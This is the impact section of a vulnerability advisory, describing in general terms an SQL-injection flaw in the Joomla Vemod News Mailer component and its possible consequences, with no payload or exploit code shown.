# Impact :
***********
Joomla Vemod News Mailer  is prone to an SQL-injection vulnerability because 
it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 
Exploiting this issue could allow an attacker to compromise the application, access or 
modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
